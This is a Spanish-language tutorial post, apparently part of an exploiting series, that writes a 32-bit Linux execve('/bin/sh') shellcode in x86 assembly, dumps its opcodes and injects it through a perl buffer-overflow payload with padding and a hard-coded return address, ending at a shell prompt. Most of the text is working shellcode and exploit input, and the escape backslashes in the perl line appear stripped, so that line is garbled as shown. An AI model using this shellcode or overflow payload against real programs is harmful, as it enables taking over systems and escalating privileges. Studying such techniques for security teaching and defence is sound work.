Ahora que ya tenemos las bases sobre escritura de shellcodes vamos a escribir una mas interesante que un simple exit, vamos a programar una shellcode que ejecute un execve con /bin/sh como parámetro de este modo obtendremos shell.
Lo primero es saber que parámetros necesita la función execve y además que registro se encarga de cada parámetro:
Debemos averiguar el valor de la cadena /bin/sh en hexadecimal para poder meter este valor en la ram y así asignarle esa posición de memoria al registro adecuado:
>>> '//bin/sh'[::-1].encode('hex')
'68732f6e69622f2f'
NOTA: Hemos repetido el carácter / para que la codificación de la cadena a hexadecimal sea multiplo de 4, de este modo se puede subir la cadena que consta de 8bytes mediante dos push, esto es posible ya que en Linux /bin/sh es equivalente a //bin/sh
Ahora ya tenemos todo lo necesario para programar nuestra shellcode en ASM:
section .text
global _start
_start:
xor ecx,ecx ; ECX --> 0
xor eax,eax ; EAX --> 0
xor edx,edx ; EDX --> 0
mov al,0xb ; EAX --> 13
push ecx ; Mete en RAM el ? de fin de cadena
push dword 0x68732f2f ; Primer push para meter la primera parte de la cadena
push dword 0x6e69622f ; Segundo push para meter la segunda parte de la cadena
mov ebx,esp ; EBX --> Dirección de //bin/sh?
int 0x80 ; Ejecuta la syscall
Ensamblamos el programa:
Lo ejecutamos para comprobar que realmente funciona:
$
Sacamos los opcodes:
execve: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c9 xor ecx,ecx
8048062: 31 c0 xor eax,eax
8048064: 31 d2 xor edx,edx
8048066: b0 0b mov al,0xb
8048068: 51 push ecx
8048069: 68 2f 2f 73 68 push 0x68732f2f
804806e: 68 2f 62 69 6e push 0x6e69622f
8048073: 89 e3 mov ebx,esp
8048075: cd 80 int 0x80
Podemos utilizar la shellcode por ejemplo en el
segundo
ejemplo de la serie de exploiting:
perl -e 'print "x31xc9x31xc0x31xd2xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" . "A"x21 . "x50xf7xffxbf"'
Alfaexploit overrun proof of concept, welcome: 1É1À1?
Qh//shh/binã?AAAAAAAAAAAAAAAAAAAAAP÷ÿ¿
#
Podemos realizar la operación inversa, de una shellcode sacar el código en ASM:
00000000 31C9 xor ecx,ecx
00000002 31C0 xor eax,eax
00000004 31D2 xor edx,edx
00000006 B00B mov al,0xb
00000008 51 push ecx
00000009 682F2F7368 push dword 0x68732f2f
0000000E 682F62696E push dword 0x6e69622f
00000013 89E3 mov ebx,esp
00000015 CD80 int 0x80
Misión cumplida, exploit ejecutado mediante nuestra propia shellcode ;)